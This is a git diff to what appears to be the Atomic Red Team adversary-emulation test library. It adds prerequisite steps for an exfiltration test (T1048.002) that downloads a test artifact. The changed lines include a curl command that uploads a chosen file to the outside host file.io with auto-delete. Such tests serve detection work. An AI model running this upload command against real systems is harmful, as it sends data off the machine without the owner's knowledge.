diff --git a/atomics/Indexes/index.yaml b/atomics/Indexes/index.yaml
index b984fc57..590bbb22 100644
--- a/atomics/Indexes/index.yaml
+++ b/atomics/Indexes/index.yaml
@@ -101642,6 +101642,13 @@ exfiltration:
           Copy-Item $env:temp\curl\curl-7.79.1-win64-mingw\bin\curl.exe C:\Windows\System32\Curl.exe
           Remove-Item $env:temp\curl
           Remove-Item $env:temp\curl.zip
+      - description: "#{input_file} must be exist on system.\n"
+        prereq_command: 'if (Test-Path #{input_file}) {exit 0} else {exit 1}
+
+          '
+        get_prereq_command: |
+          New-Item -Type Directory (split-path #{input_file}) -ErrorAction ignore | Out-Null
+          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1048.002/src/artifact" -OutFile "#{input_file}"
       executor:
         name: command_prompt
         elevation_required: false
@@ -101663,8 +101670,10 @@ exfiltration:
       executor:
         name: bash
         elevation_required: false
-        command: curl -F 'file=@#{input_file}' -F 'maxDownloads=1' -F 'autoDelete=true'
+        command: 'curl -F ''file=@#{input_file}'' -F ''maxDownloads=1'' -F ''autoDelete=true''
           https://file.io/
+
+          '
   T1041:
     technique:
       x_mitre_platforms:
diff --git a/atomics/T1048.002/T1048.002.md b/atomics/T1048.002/T1048.002.md
index 61680bcf..3c7cef5b 100644
--- a/atomics/T1048.002/T1048.002.md
+++ b/atomics/T1048.002/T1048.002.md
@@ -58,6 +58,16 @@ Copy-Item $env:temp\curl\curl-7.79.1-win64-mingw\bin\curl.exe C:\Windows\System3
 Remove-Item $env:temp\curl
 Remove-Item $env:temp\curl.zip
 ```
+##### Description: #{input_file} must be exist on system.
+##### Check Prereq Commands:
+```powershell
+if (Test-Path #{input_file}) {exit 0} else {exit 1}
+```
+##### Get Prereq Commands:
+```powershell
+New-Item -Type Directory (split-path #{input_file}) -ErrorAction ignore | Out-Null
+Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1048.002/src/artifact" -OutFile "#{input_file}"
+```